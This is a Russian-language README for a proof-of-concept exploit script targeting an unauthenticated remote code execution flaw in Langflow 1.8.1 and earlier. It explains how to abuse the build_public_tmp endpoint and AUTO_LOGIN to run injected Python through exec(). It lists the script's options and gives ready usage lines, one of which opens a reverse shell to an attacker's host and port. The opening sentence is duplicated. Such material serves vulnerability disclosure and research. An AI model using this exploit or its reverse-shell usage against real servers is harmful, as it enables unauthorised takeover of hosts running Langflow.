
Уязвимость в Langflow 1.8.1 и более ранних версиях позволяет удалённому неавторизованному злоумышленнику выполнять произвольные команды на хосте.
Уязвимость в Langflow 1.8.1 и более ранних версиях позволяет удалённому неаутентифицированному злоумышленнику выполнять произвольные команды на хосте.
Конечная точка POST /api/v1/build_public_tmp/{flow_id}/flow позволяет любому пользователю собирать публичные флоу без аутентификации.
Передав необязательный параметр data, злоумышленник может переопределить сохранённый флоу собственным сконструированным определением, внедряя произвольный код Python в конфигурации узлов. Этот управляемый пользователем код выполняется через exec() без песочницы или проверок, что приводит к неаутентифицированному удалённому выполнению кода.
Langflow 1.8.1 и более ранние версии
AUTO_LOGIN=trueКогда AUTO_LOGIN=true (конфигурация по умолчанию), неаутентифицированный злоумышленник может выполнить все условия:
GET /api/v1/auto_login → получить токен суперпользователяPOST /api/v1/flows/ → создать публичный флоуbuild_public_tmp без какой-либо аутентификацииpython cve-2026-33017.py <host> [options]
Параметры:
-p PORT, --port PORT: SSH-порт (по умолчанию: 7860)
-id FLOW_ID, --flow_id FLOW_ID: ID публичного флоу (будет создан новый, если не указан)
-c COMMAND, --command COMMAND: Пользовательская команда для выполнения
--shell: Запустить обратную оболочку
--lhost LHOST: IP-адрес атакующего для обратной оболочки
--lport LPORT: Порт атакующего для обратной оболочки (по умолчанию: 4444)
-t TIMEOUT, --timeout TIMEOUT: Тайм-аут подключения в секундах (по умолчанию: 5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
Данный PoC предназначен только для образовательных и исследовательских целей. Используйте его на свой страх и риск. Автор не несёт ответственности за любое неправомерное использование или причинённый ущерб.